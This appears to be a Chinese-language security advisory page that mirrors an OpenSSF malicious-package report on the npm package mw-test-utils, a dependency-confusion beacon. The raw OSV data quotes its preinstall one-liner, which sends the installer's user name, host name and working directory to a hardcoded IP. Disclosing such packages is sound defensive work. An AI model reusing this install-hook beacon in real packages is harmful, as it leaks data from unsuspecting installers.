目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

mw-test-utils

MAL-2026-18371
2026-10-29 14:15:58
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in mw-test-utils (npm)

凭据/密钥窃取安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
619
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmmw-test-utils1.0.0
npmmw-test-utils10.0.0
npmmw-test-utils10.0.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-18371","published":"2026-10-29T13:39:58Z","modified":"2026-10-29T14:15:58.259864850Z","summary":"Malicious code in mw-test-utils (npm)","details":"mw-test-utils was published to npm on 2026-10-27 from 06:56:36 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0, 10.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.0 is the latest version at the time of this report.\n\npackage.json declares a preinstall and a postinstall script, which npm runs on every install:\n\nnode -e \"require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})\"\n\nThe postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.\n\nTarball sha256:\n1.0.0: 06a3870b3807b00636c95eea01b057c748dd908fe2677c5dbc05516519a08c56\n10.0.0: 70cf433a26fee76da087163816b8e3d1939fee9650b1cc6bd0b02b70bba90d9e\n10.0.1: 1dbbab093762b688298ca21abab34018a5988b9e9647e56ac72152a3b2c8a011\n\nAnalysis was static only; nothing was executed.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (bc25faf79aac980e4d025884748dc85b4e3b91f5e2582f6ce245db88616dbd2b)\nThe package ships no functional code (index.js exports an empty object) but defines preinstall and postinstall lifecycle scripts in package.json that run inline node code to issue HTTP GET requests to http://38.242.235.206/depconf/mw-test-utils/preinstall and /postinstall. Each request carries the installer's USER/USERNAME environment value, the OS hostname, and the current working directory as query parameters. The requests fire automatically on every npm install, over plain HTTP, to a hardcoded bare-IP address with no TLS and no caller-configurable endpoint. The package name follows an 'mw-*' pattern consistent with internal-namespace collision, so any build that resolves this name from the public registry performs the beacon under the resolving organization's identity. The README frames the package as a dependency-confusion placeholder, but that self-labeling is author-controlled and does not constitute consent from installers whose builds resolve the name.\n","affected":[{"package":{"name":"mw-test-utils","ecosystem":"npm"},"versions":["1.0.0","10.0.0","10.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"7c0a525ca9b0793a8499765b6b197c00634b026f4e228006159000467df9bb10","tlsh":"f001ef748254de67b9c502ec133e180fd9fea76389a94c206b5311d90ba93e25b3b17f"},{"path":"README.md","sha256":"aa910c73174fc5eb0ecb108690aaec79445a655b04ea9eda94e2536976b540f2","tlsh":"a3e0f83a31c423333e3221f8303de092db5e806a891b89b8818a5329202f1e1471e8e3"}],"package_integrity":[{"filename":"mw-test-utils-10.0.1.tgz","hashes":{"sha1":"aa6aa8179e2a11948171ea23bf401dc78fb71058","sha512_sri":"sha512-7WN5nTy0NGa6jaJqwXScjKUePdqONl6MatDd4CEBgY+CV5hEg2Ux//YFAS/7OaDU7Z//sW2u4Uqk0kAD307b+A=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/mw-test-utils/v/10.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/mw-test-utils/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/mw-test-utils/v/10.0.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022032","import_time":"2026-10-29T14:14:19.327090386Z","modified_time":"2026-10-29T13:39:58Z","sha256":"bb198b7b7ab02867e72165c9abed0500578ce76d6a4703bb40d989f2d613dbac","source":"amazon-inspector","versions":["10.0.1"]},{"id":"IN-MAL-2026-022034","import_time":"2026-10-29T14:14:19.498994383Z","modified_time":"2026-10-29T13:40:13Z","sha256":"bc25faf79aac980e4d025884748dc85b4e3b91f5e2582f6ce245db88616dbd2b","source":"amazon-inspector","versions":["1.0.0"]},{"id":"IN-MAL-2026-022035","import_time":"2026-10-29T14:14:19.577618589Z","modified_time":"2026-10-29T13:40:21Z","sha256":"a6608eaa9172f527a45a181abd07a6041b24066ae2526863b9d42706113cc8cd","source":"amazon-inspector","versions":["10.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"r-bedekar","type":"ANALYST"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0